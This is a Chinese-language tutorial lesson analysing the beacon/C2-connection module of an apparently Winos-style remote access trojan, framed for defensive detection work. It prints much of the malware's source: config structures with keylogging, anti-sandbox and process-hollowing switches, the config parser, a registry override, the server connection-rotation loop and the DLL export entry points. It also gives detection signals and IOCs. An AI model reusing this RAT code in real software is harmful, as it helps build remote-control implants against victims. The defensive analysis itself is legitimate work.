第 21 课:主插件:上线模块
# 第 21 课:主插件:上线模块
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课定位:防御分析、源码阅读、配置提取和检测工程。 本课只讲源码结构、配置字段、连接生命周期和企业检测思路,不提供可直接复用的上线、控制、投递或规避步骤。
第 15 课讲了 主插件\HPSocket,也就是插件侧的网络基础设施。第 18 课讲了 shellcode 的加载与执行原理。现在回到更靠近业务入口的一层:主插件\上线模块。
这一课的主线是:
配置数据 -> Analyze 解析 -> MyInfo 结构 -> MainThread 连接循环 -> HPSocket -> CKernelManager -> 版本请求/插件链
对新手来说,上线模块最重要的不是某个单独函数,而是把“配置字段”和“行为结果”对应起来。比如地址、端口、TCP/UDP、等待时间、重连时间、分组、版本、备注和若干功能开关,都会在后续主机行为、网络行为、注册表痕迹和插件请求中体现出来。
# 1. 本课学习目标
学完本课,你应该能回答这些问题:
| 问题 | 本课回答 |
|---|---|
| 上线模块在工程里做什么 | 解析配置、建立连接、创建管理器、发起版本请求 |
Info 结构为什么重要 | 它集中保存地址、端口、协议、时间、分组、版本和功能开关 |
Analyze 做了什么 | 从内嵌配置和注册表数据中解析字段并写入 MyInfo |
MainThread 做了什么 | 根据 MyInfo 轮转地址、选择 TCP/UDP、连接后进入事件循环 |
为什么要关注注册表 IpDate | 它可能覆盖部分网络配置,是持久化配置痕迹 |
| 为什么版本请求关键 | 它是上线后进入插件加载链的起点 |
| 企业如何检测 | 提取配置 IOC,关联注册表、线程、网络、心跳、插件请求 |
# 2. 本课涉及源码目录和文件
| 源码文件 | 关键位置 | 本课关注点 |
|---|---|---|
主插件\上线模块\上线模块\KernelManager.h | 12-54 行 | Function 和 Info 配置结构 |
主插件\上线模块\上线模块\上线模块.cpp | 12-58 行 | Debug 默认配置、Release 配置占位、配置键名 |
主插件\上线模块\上线模块\上线模块.cpp | 86-115 行 | Getfindinfo 字段解析函数 |
主插件\上线模块\上线模块\上线模块.cpp | 118-187 行 | Analyze 解析内嵌配置和注册表覆盖 |
主插件\上线模块\上线模块\上线模块.cpp | 189-258 行 | MainThread 连接轮转、协议选择、版本请求 |
主插件\上线模块\上线模块\上线模块.cpp | 331-417 行 | EXE/DLL/export/load/run 多入口路径 |
主插件\HPSocket\TcpSocket.cpp | 55-304 行 | TCP 连接和收发,由上线模块调用 |
主插件\HPSocket\UdpSocket.cpp | 652-823 行 | UDP 连接和收发,由上线模块调用 |
主插件\上线模块\上线模块\KernelManager.cpp | 关联第 13 课 | 版本响应、插件缓存、模块加载链 |
# 3. 上线模块在整体工程中的位置
先看执行主线。

上线模块不是一个孤立文件。它把前面几课的知识串起来:
| 前置专栏 | 在本课中的对应点 |
|---|---|
| 第 10 课:网络通信模型 | 连接、心跳、TCP/UDP 通信 |
| 第 11 课:协议与命令分发 | TOKEN_GETVERSION 进入协议链 |
| 第 13 课:插件化设计与模块加载 | CKernelManager 接收版本和插件数据 |
| 第 15 课:HPSocket | CTcpSocket / CUdpSocket 的统一接口 |
| 第 18 课:被控 shellcode 生成与执行流程 | load(TCHAR* code) 等入口与配置传入路径有关 |
本课按循序渐进顺序讲:
- 先看
Info结构,知道配置能控制哪些行为。 - 再看
Getfindinfo和Analyze,知道配置如何进入结构体。 - 再看
MainThread,知道结构体如何驱动连接循环。 - 最后看入口函数,知道不同加载方式最终如何汇入同一条主线。
# 3.1 为什么要把上线模块设计成“轻入口”
上线模块在这套工程里不是负责所有功能的“大模块”。它更像一个启动器:先把配置读出来,建立第一条连接,然后把后续更复杂的登录模块和功能插件交给插件链路处理。

这样设计有三个工程上的原因:
| 设计点 | 源码表现 | 防御侧理解 |
|---|---|---|
| 入口尽量小 | _tmain / DllMain 最终都进入 MainThread | 主机侧先看到少量线程和连接行为 |
| 配置集中 | Analyze 把配置写入 MyInfo | 配置提取可以优先围绕 Info 结构 |
| 功能后置 | 连接后只请求登录模块版本和数据 | 真正功能由登录模块和插件模块承接 |

# 3.2 从入口到登录模块的完整触发顺序
把源码连起来看,上线模块完整流程是:
- EXE 入口
_tmain或 DLL 入口/导出函数被触发。 - 调用
Analyze解析内嵌配置和注册表覆盖配置。 - 创建
MainThread。 MainThread根据MyInfo在三组地址之间轮转。- 根据
IsTcp选择CTcpSocket或CUdpSocket。 - 连接成功后创建
CKernelManager。 - 发送
TOKEN_GETVERSION,并携带 x86/x64 标识。 - 主控返回登录模块版本。
- 上线模块比较本地缓存版本。
- 必要时请求
登录模块.dll_bin。 - 收到数据后写入内存和
HKCU\Console\0/1。 runLoginDllBin启动登录模块。
下面这段代码是“上线模块为什么只做轻入口”的关键证据:
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:189-258
// 防御分析注释:
// 1. MainThread 不直接实现文件、屏幕、键盘等功能。
// 2. 它只负责按配置连接主控,然后创建 CKernelManager。
// 3. TOKEN_GETVERSION 是进入登录模块加载链的起点。
// 4. Token[1] 用于标识当前产物位数,主控据此选择 x86/x64 登录模块。
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
Sleep(_ttoi(MyInfo.szRunSleep) * 1000);
ISocketBase* socketClient = NULL;
void* ptcp = new CTcpSocket;
void* pudp = new CUdpSocket;
while (TRUE)
{
// 防御分析:这里根据 MyInfo 中的三组地址轮转连接目标。
// 轮转行为会体现在网络侧:同一进程按固定节奏连接不同地址/端口。
if (!changeip)
{
_tcscpy_s(szAddress, MyInfo.szAddress);
_tcscpy_s(szPort, MyInfo.szPort);
IsTcp = MyInfo.IsTcp;
changeip = (!changeip);
}
else
{
_tcscpy_s(szAddress, MyInfo.szAddress2);
_tcscpy_s(szPort, MyInfo.szPort2);
IsTcp = MyInfo.IsTcp2;
changeip = (!changeip);
}
socketClient = (IsTcp == 1) ? (ISocketBase*)ptcp : (ISocketBase*)pudp;
Sleep(_ttoi(MyInfo.szHeart) * 1000);
if (!socketClient->Connect(szAddress, _ttoi(szPort)))
continue;
CKernelManager manager(socketClient, MyInfo.otherset.puppet);
BYTE Token[2] = {};
Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
Token[1] = 1;
#else
Token[1] = 0;
#endif
socketClient->Send(Token, 2);
socketClient->run_event_loop();
WaitForSingleObject(manager.hWorker, INFINITE);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
这段代码解释了本模块的边界:上线模块负责“连上去”和“把登录模块拉起来”,不负责具体功能操作。具体功能从第 22 课登录模块开始展开。
# 4. 配置核心:Function 与 Info
上线模块的配置集中在 KernelManager.h。先看两个结构体。

// 源码位置:主插件\上线模块\上线模块\KernelManager.h:12-34
// 防御分析注释:
// 1. Function 保存多个高风险功能开关,应作为配置提取重点。
// 2. 字段名能帮助分析人员理解样本意图,但不能仅凭字段名定性,需关联行为证据。
// 3. other1-other5 是扩展字段,分析配置时不要只看已命名开关。
struct Function
{
BOOL IsKeyboard; // 键盘离线记录
BOOL IsAntiSimulation; // 反沙箱
BOOL ProtectedProcess; // 进程保护
BOOL antinet; // 反查流量
BOOL RunDllEntryProc; // 是否运行 DLL 入口
BOOL Processdaemon; // 进程守护
BOOL puppet; // 傀儡进程
BOOL special;
BOOL bool4;
BOOL bool5;
TCHAR other1[255];
TCHAR other2[255];
TCHAR other3[255];
TCHAR other4[255];
TCHAR other5[255];
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 源码位置:主插件\上线模块\上线模块\KernelManager.h:36-54
// 防御分析注释:
// 1. Info 是上线模块最重要的配置结构。
// 2. 三组地址、端口、协议字段说明该模块支持连接轮转。
// 3. szRunSleep 和 szHeart 会影响主机侧等待和网络侧重连节奏。
// 4. szGroup、szVersion、Remark 是样本归类和 IOC 建模的重要线索。
struct Info
{
char mark[30]; // 标记
TCHAR szAddress[255]; // 地址 1
TCHAR szPort[30]; // 端口 1
BOOL IsTcp; // 通信模式 1
TCHAR szAddress2[255]; // 地址 2
TCHAR szPort2[30]; // 端口 2
BOOL IsTcp2; // 通信模式 2
TCHAR szAddress3[255]; // 地址 3
TCHAR szPort3[30]; // 端口 3
BOOL IsTcp3; // 通信模式 3
TCHAR szRunSleep[30]; // 运行等待
TCHAR szHeart[30]; // 重连时间
TCHAR szGroup[50]; // 分组
TCHAR szVersion[50]; // 版本
TCHAR Remark[50]; // 备注
Function otherset; // 其他设置
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
对新手来说,先不要急着看连接代码。先把 Info 当成“行为说明书”:
| 字段组 | 字段 | 对应行为 |
|---|---|---|
| 地址组 1 | szAddress、szPort、IsTcp | 第一组连接目标和协议 |
| 地址组 2 | szAddress2、szPort2、IsTcp2 | 第二组连接目标和协议 |
| 地址组 3 | szAddress3、szPort3、IsTcp3 | 低频备用连接目标 |
| 时间参数 | szRunSleep、szHeart | 初始等待、重连等待 |
| 标识信息 | szGroup、szVersion、Remark | 分组、版本、备注 |
| 功能开关 | otherset | 后续功能和风险行为开关 |
企业侧做配置提取时,优先提取这些字段。它们能直接转化成 IOC、样本家族聚类线索、检测规则条件和事件关联字段。
# 5. Debug 配置与 Release 配置占位
源码里 Debug 和 Release 的配置方式不同。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:12-54
// 防御分析注释:
// 1. Debug 分支内置本地测试配置,适合源码阅读时理解字段含义。
// 2. Release 分支中 MyInfo 初始化为空,后续依赖 Analyze 解析配置。
// 3. 教程只用这些字段解释结构,不把它整理成可运行配置。
#ifdef _DEBUG
Info MyInfo =
{
"winos",
_T("127.0.0.1"), _T("6666"), 1,
_T("127.0.0.1"), _T("8888"), 1,
_T("127.0.0.1"), _T("80"), 1,
_T("3"),
_T("3"),
_T("默认"),
_T("1.0"),
_T("测试备注"),
};
#else
Info MyInfo = {};
#endif
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Debug 配置适合用来理解字段,但不要把它当成真实环境的固定 IOC。Release 分支中真正重要的是后面的 confi 和 Analyze。
# 6. 配置键名:从字符串到字段
源码在 上线模块.cpp 中给出了配置键名。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:58-59
// 防御分析注释:
// 1. 这一行注释暴露了配置键和 Info 字段的映射关系。
// 2. 配置字符串是静态分析和内存取证时的重要线索。
// 3. confi 是 Release 解析的入口之一,但实际样本可能被构建过程改写。
// _T("|p1:地址1|o1:端口1|t1:通信1|p2:地址2|o2:端口2|t2:通信2|p3:地址3|o3:端口3|t3:通信3|dd:等待|cl:重连|fz:分组|bb:版本|bz:备注|jp:键盘|sx:沙箱|bh:保护|ll:流量|dl:入口|sh:守护|kl:傀儡|bd:特别");
TCHAR confi[1000] = _T("xiugaishiyong");
2
3
4
5
6
7
8
配置键可以整理成下面这张表:
| 键名 | 写入字段 | 含义 |
|---|---|---|
p1 | szAddress | 地址 1 |
o1 | szPort | 端口 1 |
t1 | IsTcp | 协议 1 |
p2 | szAddress2 | 地址 2 |
o2 | szPort2 | 端口 2 |
t2 | IsTcp2 | 协议 2 |
p3 | szAddress3 | 地址 3 |
o3 | szPort3 | 端口 3 |
t3 | IsTcp3 | 协议 3 |
dd | szRunSleep | 运行等待 |
cl | szHeart | 重连等待 |
fz | szGroup | 分组 |
bb | szVersion | 版本 |
bz | Remark | 备注 |
jp/sx/bh/ll/dl/sh/kl/bd | otherset | 功能开关 |
从检测角度看,这些短键名很有价值。它们既可能出现在静态字符串里,也可能出现在内存、配置块或注册表二进制数据中。
# 7. 配置解析路径

Getfindinfo 是一个手写字段解析函数。它从配置字符串里找某个键名,找到后把后面的内容复制到目标字段,直到遇到 |。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:86-115
// 防御分析注释:
// 1. f1 是要查找的键名,例如 "p1:"、"o1:"。
// 2. outstring 非空时复制字符串字段,user 非空时解析布尔开关。
// 3. 这类手写解析容易出现边界问题,分析时要关注目标缓冲区长度和分隔符。
// 4. 防御侧可基于键名、分隔符和字段顺序提取配置。
void Getfindinfo(TCHAR* s, const TCHAR* f1, TCHAR* outstring, BOOL* user)
{
if (outstring)
ZeroMemory(outstring, lstrlen(outstring) * 2 + 2);
int all = (int)lstrlen(s);
int da = (int)lstrlen(f1);
for (int i = 0; i < all; i++)
{
int j = 0;
for (; j < da; j++)
if (s[i + j] != f1[j])
break;
if (j == da)
{
i += da;
int first = i;
for (; i < all; i++)
{
if (s[i] == _T('|'))
{
if (outstring)
memcpy(outstring, s + first, (i - first) * 2);
else if (s[i - 1] == _T('1'))
*user = TRUE;
return;
}
}
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
安全风险主要在边界:键名查找、字符串复制和目标缓冲区长度都需要谨慎处理。企业侧做检测时,则可以反过来利用这些键名和分隔符还原配置。
# 8. Analyze:把配置写入 MyInfo
Analyze 是上线模块配置解析的主函数。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:118-155
// 防御分析注释:
// 1. Release 分支才执行配置解析;Debug 分支直接返回。
// 2. isrun 防止重复解析。
// 3. _tcsrev(confi) 表示配置进入解析前会被反转。
// 4. ZeroMemory(&MyInfo, sizeof(Info)) 会清空原有配置。
// 5. 连续 Getfindinfo 调用建立了“键名 -> MyInfo 字段”的完整映射。
void Analyze()
{
#ifdef _DEBUG
return;
#else
static bool isrun = false;
if (isrun)
return;
isrun = true;
_tcsrev(confi);
ZeroMemory(&MyInfo, sizeof(Info));
Getfindinfo(confi, _T("p1:"), MyInfo.szAddress, NULL);
Getfindinfo(confi, _T("o1:"), MyInfo.szPort, NULL);
Getfindinfo(confi, _T("t1:"), NULL, &(MyInfo.IsTcp));
Getfindinfo(confi, _T("p2:"), MyInfo.szAddress2, NULL);
Getfindinfo(confi, _T("o2:"), MyInfo.szPort2, NULL);
Getfindinfo(confi, _T("t2:"), NULL, &(MyInfo.IsTcp2));
Getfindinfo(confi, _T("p3:"), MyInfo.szAddress3, NULL);
Getfindinfo(confi, _T("o3:"), MyInfo.szPort3, NULL);
Getfindinfo(confi, _T("t3:"), NULL, &(MyInfo.IsTcp3));
Getfindinfo(confi, _T("dd:"), MyInfo.szRunSleep, NULL);
Getfindinfo(confi, _T("cl:"), MyInfo.szHeart, NULL);
Getfindinfo(confi, _T("fz:"), MyInfo.szGroup, NULL);
Getfindinfo(confi, _T("bb:"), MyInfo.szVersion, NULL);
Getfindinfo(confi, _T("bz:"), MyInfo.Remark, NULL);
Getfindinfo(confi, _T("jp:"), NULL, &(MyInfo.otherset.IsKeyboard));
Getfindinfo(confi, _T("sx:"), NULL, &(MyInfo.otherset.IsAntiSimulation));
Getfindinfo(confi, _T("bh:"), NULL, &(MyInfo.otherset.ProtectedProcess));
Getfindinfo(confi, _T("ll:"), NULL, &(MyInfo.otherset.antinet));
Getfindinfo(confi, _T("dl:"), NULL, &(MyInfo.otherset.RunDllEntryProc));
Getfindinfo(confi, _T("sh:"), NULL, &(MyInfo.otherset.Processdaemon));
Getfindinfo(confi, _T("kl:"), NULL, &(MyInfo.otherset.puppet));
Getfindinfo(confi, _T("bd:"), NULL, &(MyInfo.otherset.special));
#endif
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Analyze 的阅读重点不是某个 Getfindinfo 调用,而是“配置进入结构体”的完整映射。只要 MyInfo 填好了,后面的连接循环就会按这些字段行动。
# 9. 注册表覆盖:HKCU\Console\IpDate
Analyze 后半段还会读取注册表。
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:157-187
// 防御分析注释:
// 1. 读取位置为 HKCU\Console\IpDate。
// 2. 类型为 REG_BINARY,读出后仍按配置字符串解析。
// 3. 如果读取到的数据长度大于 10,会覆盖三组地址、端口和协议字段。
// 4. 企业侧应把该注册表位置纳入配置痕迹排查。
HKEY hKey = NULL;
DWORD dwDisposition;
RegCreateKeyEx(HKEY_CURRENT_USER,
_T("Console"),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition);
DWORD dwSize = 1000;
DWORD dwType = REG_BINARY;
ZeroMemory(confi, sizeof(confi));
if (RegQueryValueEx(hKey, _T("IpDate"), NULL, &dwType, (LPBYTE)confi, &dwSize) == ERROR_SUCCESS)
{
if (dwSize > 10)
{
Getfindinfo(confi, _T("p1:"), MyInfo.szAddress, NULL);
Getfindinfo(confi, _T("o1:"), MyInfo.szPort, NULL);
Getfindinfo(confi, _T("t1:"), NULL, &(MyInfo.IsTcp));
Getfindinfo(confi, _T("p2:"), MyInfo.szAddress2, NULL);
Getfindinfo(confi, _T("o2:"), MyInfo.szPort2, NULL);
Getfindinfo(confi, _T("t2:"), NULL, &(MyInfo.IsTcp2));
Getfindinfo(confi, _T("p3:"), MyInfo.szAddress3, NULL);
Getfindinfo(confi, _T("o3:"), MyInfo.szPort3, NULL);
Getfindinfo(confi, _T("t3:"), NULL, &(MyInfo.IsTcp3));
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
这里有一个很重要的防御结论:静态配置不一定是最终配置。运行时可能从注册表覆盖网络地址相关字段。
因此企业侧排查时要同时看三处:
| 位置 | 价值 |
|---|---|
| 二进制静态字符串 | 可能包含配置键名和默认配置 |
| 进程内存 | 可能包含反转后或解析后的配置 |
HKCU\Console\IpDate | 可能包含覆盖后的地址、端口、协议 |
# 10. MainThread:连接循环主线
MainThread 是上线模块的运行主线。它读取 MyInfo,选择地址和协议,连接后创建 CKernelManager,然后发送版本请求。

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:189-258
// 防御分析注释:
// 1. szRunSleep 控制初始等待,szHeart 控制重连等待。
// 2. 地址 1 和地址 2 交替使用,每 200 次切换到地址 3。
// 3. IsTcp 决定使用 CTcpSocket 还是 CUdpSocket。
// 4. 连接成功后创建 CKernelManager,并发送 TOKEN_GETVERSION。
// 5. 这条链会进入第 13 课讲过的插件版本和加载流程。
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
Sleep(_ttoi(MyInfo.szRunSleep) * 1000);
ISocketBase* socketClient = NULL;
void* ptcp = new CTcpSocket;
void* pudp = new CUdpSocket;
while (TRUE)
{
TCHAR* szAddress = NULL;
TCHAR* szPort = NULL;
BOOL IsTcp = TRUE;
if (!changeip)
{
szAddress = MyInfo.szAddress;
szPort = MyInfo.szPort;
IsTcp = MyInfo.IsTcp;
changeip = !changeip;
}
else
{
szAddress = MyInfo.szAddress2;
szPort = MyInfo.szPort2;
IsTcp = MyInfo.IsTcp2;
changeip = !changeip;
}
m_time_con++;
if (m_time_con == 200)
{
szAddress = MyInfo.szAddress3;
szPort = MyInfo.szPort3;
IsTcp = MyInfo.IsTcp3;
m_time_con = 0;
}
if (socketClient)
socketClient->Disconnect();
if (IsTcp == 1)
socketClient = (CTcpSocket*)ptcp;
else
socketClient = (CUdpSocket*)pudp;
Sleep(_ttoi(MyInfo.szHeart) * 1000);
if (!socketClient->Connect(szAddress, _ttoi(szPort)))
continue;
CKernelManager manager(socketClient, MyInfo.otherset.puppet);
BYTE Token[2] = {};
Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
Token[1] = 1;
#else
Token[1] = 0;
#endif
socketClient->Send(Token, 2);
socketClient->run_event_loop();
WaitForSingleObject(manager.hWorker, INFINITE);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
把这段代码按生命周期拆开:
| 阶段 | 源码动作 | 行为结果 |
|---|---|---|
| 初始等待 | Sleep(_ttoi(MyInfo.szRunSleep) * 1000) | 进程启动后延迟进入连接流程 |
| 选择地址 | 地址 1/2 交替,计数到 200 用地址 3 | 网络连接目标轮转 |
| 选择协议 | IsTcp == 1 用 TCP,否则 UDP | TCP/UDP 行为分支 |
| 重连等待 | Sleep(_ttoi(MyInfo.szHeart) * 1000) | 形成固定重连节奏 |
| 建立连接 | socketClient->Connect(...) | 进入 HPSocket 层 |
| 创建管理器 | CKernelManager manager(...) | 进入插件管理链 |
| 版本请求 | TOKEN_GETVERSION | 请求主控端返回插件版本 |
| 事件循环 | run_event_loop() | 持续接收后续数据 |
这里最适合做企业检测关联:配置字段能解释行为,行为又能反推配置。
# 11. 版本请求与插件链
上线模块连接成功后,马上发送两字节 token:
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:242-253
// 防御分析注释:
// 1. TOKEN_GETVERSION 是上线后进入插件链的入口。
// 2. Token[1] 表示 x86/x64 位数,主控端据此选择不同插件版本。
// 3. 防御侧应把“连接成功后的短版本请求”和后续“大插件数据包”关联起来。
BYTE Token[2] = {};
Token[0] = TOKEN_GETVERSION;
#ifdef _WIN64
Token[1] = 1;
#else
Token[1] = 0;
#endif
socketClient->Send(Token, 2);
socketClient->run_event_loop();
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
这部分和第 13 课的 CKernelManager 对应:
上线模块连接成功
-> 发送 TOKEN_GETVERSION
-> CKernelManager 接收版本信息
-> 判断本地缓存是否可用
-> 必要时请求插件数据
-> 写入内存或注册表缓存
-> 进入插件加载链
2
3
4
5
6
7
从检测角度,不要把上线连接和插件加载割裂开。很多场景下,真正高风险的部分发生在连接成功之后:版本协商、插件下发、内存分配、模块入口调用等。
# 12. 多入口路径
源码提供了多个入口,但最终都会汇入 Analyze 和 MainThread。

// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:331-344
// 防御分析注释:
// 1. EXE 入口直接 Analyze,然后创建 MainThread。
// 2. WaitForSingleObject 会让主线程等待工作线程。
int _tmain(int argc, _TCHAR* argv[])
{
Analyze();
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:350-376
// 防御分析注释:
// 1. DLL 入口在进程附加时检查配置长度。
// 2. RunDllEntryProc 开关决定是否在 DLL 入口启动线程。
// 3. DLL 入口内创建长生命周期线程是主机侧重点观察行为。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if (lstrlen(confi) > 30)
{
Analyze();
if (MyInfo.otherset.RunDllEntryProc)
{
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
}
}
break;
}
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 源码位置:主插件\上线模块\上线模块\上线模块.cpp:388-417
// 防御分析注释:
// 1. 导出函数和 load/run 入口最终也会创建 MainThread。
// 2. load(TCHAR* code) 会把外部传入的 code 拷贝到 confi,再执行 Analyze。
// 3. 分析时应把不同入口统一归并到“配置解析 -> 线程启动”这条路径。
extern "C" __declspec(dllexport) PVOID zidingyixiugaidaochuhanshu()
{
Analyze();
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
return NULL;
}
extern "C" __declspec(dllexport) void load(TCHAR* code)
{
lstrcpy(confi, code);
Analyze();
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
}
extern "C" __declspec(dllexport) void run()
{
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
对新手来说,入口函数看起来很多,但不要被绕晕。统一看成一条主线即可:
入口函数
-> 可选:传入或检查配置
-> Analyze
-> CreateThread(MainThread)
-> 连接循环
2
3
4
5
# 13. 配置字段如何变成行为线索
把 Info 和 MainThread 对起来看,就能把配置转成检测线索。
| 配置字段 | 行为表现 | 检测价值 |
|---|---|---|
szAddress/szPort | 网络连接目标 | IOC、流量关联 |
IsTcp | TCP 或 UDP 分支 | 协议维度建模 |
szAddress2/szPort2 | 第二连接目标 | 轮转和备用地址识别 |
szAddress3/szPort3 | 低频备用连接目标 | 长时间观测才能发现 |
szRunSleep | 启动后延迟 | 进程启动到首包的时间差 |
szHeart | 重连间隔 | 网络重试周期 |
szGroup | 分组标识 | 样本归类 |
szVersion | 版本标识 | 插件链版本协商 |
Remark | 备注 | 运营或分类线索 |
otherset | 高风险开关 | 与主机行为关联验证 |
这张表就是企业侧提取配置后的使用方式:不是只把字段存下来,而是用字段解释行为。
# 14. 企业检测点

可以按六类信号关联。
| 类型 | 检测点 | 说明 |
|---|---|---|
| 配置 IOC | 地址、端口、协议、分组、版本 | 从静态字符串、内存、注册表提取 |
| 注册表 | HKCU\Console\IpDate | 关注 REG_BINARY 配置覆盖 |
| 网络事件 | 连接、心跳、重连、TCP/UDP 分支 | 与 szHeart、IsTcp 对应 |
| 进程线程 | CreateThread 后长时间等待 | 多入口最终都启动 MainThread |
| 插件请求 | TOKEN_GETVERSION 后的版本/插件链 | 关联第 13 课模块加载行为 |
| 内存行为 | 后续插件数据缓存和加载 | 关注 RWX 内存和未知入口调用 |
企业侧可以建立这样的事件关联思路:
- 进程出现 DLL 入口或导出函数触发的线程创建。
- 线程启动后延迟一段时间发起网络连接。
- 连接目标在两组地址之间轮转,长周期出现第三组地址。
- 连接成功后出现短版本请求。
- 后续出现插件数据接收、注册表缓存或内存加载行为。
- 注册表中存在
HKCU\Console\IpDate或内存中出现p1/o1/t1等配置键。
这些信号联合出现时,比单独看到一个 IP 或一个线程更有判断价值。
# 15. 安全检查项
| 检查项 | 检查原因 | 建议 |
|---|---|---|
| 是否能完整提取三组地址 | 只提取第一组可能漏掉备用连接目标 | 同时提取 p1/p2/p3 与端口、协议 |
| 是否检查注册表覆盖 | 静态配置可能不是最终配置 | 排查 HKCU\Console\IpDate |
| 是否记录协议分支 | TCP/UDP 行为差异明显 | 检测规则分开建模 |
| 是否关注启动延迟 | 延迟连接可绕开简单启动监控 | 关联进程启动时间和首个网络事件 |
| 是否关联版本请求 | 上线后进入插件链的关键节点 | 把短版本包和后续大包关联 |
| 是否识别多入口 | EXE/DLL/export/load/run 都可能进入同一主线 | 统一归并到 MainThread 行为 |
| 是否验证功能开关 | 字段名只是线索 | 必须结合实际主机行为判断 |
# 16. 常见误区
误区一:只看第一组地址。
源码明确支持三组地址。第一组和第二组交替使用,第三组每 200 次连接尝试才会使用。短时间抓包可能看不到第三组。
误区二:把 Debug 默认配置当作真实 IOC。
Debug 里的本地地址主要用于开发测试。真正分析 Release 样本时,应以配置块、内存和注册表为准。
误区三:看到 IsTcp 就只写 TCP 检测。
IsTcp、IsTcp2、IsTcp3 是三组独立协议字段。不同地址可能使用不同协议。
误区四:把入口函数当成不同模块。
入口很多,但最终路径相近:配置解析、创建线程、进入连接循环。分析时应合并同类路径。
误区五:只提取地址端口,不提取分组和版本。
分组、版本、备注常常对样本聚类更有帮助。尤其是版本字段,会和插件更新链发生关系。
# 17. 合法练习题
- 从
Info结构整理一份字段表,标出每个字段对应的行为表现。 - 画出
Analyze -> MyInfo -> MainThread的数据流图。 - 解释为什么
HKCU\Console\IpDate可能导致静态配置和运行配置不一致。 - 根据
MainThread写出地址 1、地址 2、地址 3 的轮转规则,不需要运行程序。 - 设计一套企业检测思路:同时使用配置键名、注册表、网络连接、版本请求和线程创建五类信号。
- 阅读第 13 课内容,说明
TOKEN_GETVERSION后续如何进入插件版本和加载链。
# 18. 本课小结
上线模块是主插件链路里的“启动与连接调度器”。它先把配置写入 MyInfo,再由 MainThread 按配置选择地址、端口、协议、等待时间和重连节奏。连接成功后,它创建 CKernelManager 并发送 TOKEN_GETVERSION,进入后续插件版本和模块加载流程。
从防御角度看,本课最重要的是建立配置与行为之间的映射:地址端口对应网络 IOC,协议字段对应 TCP/UDP 分支,时间字段对应延迟和重连,分组版本对应样本聚类,注册表 IpDate 对应运行时配置覆盖,多入口函数对应线程启动链。把这些信号关联起来,才能形成稳定的企业检测视角。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言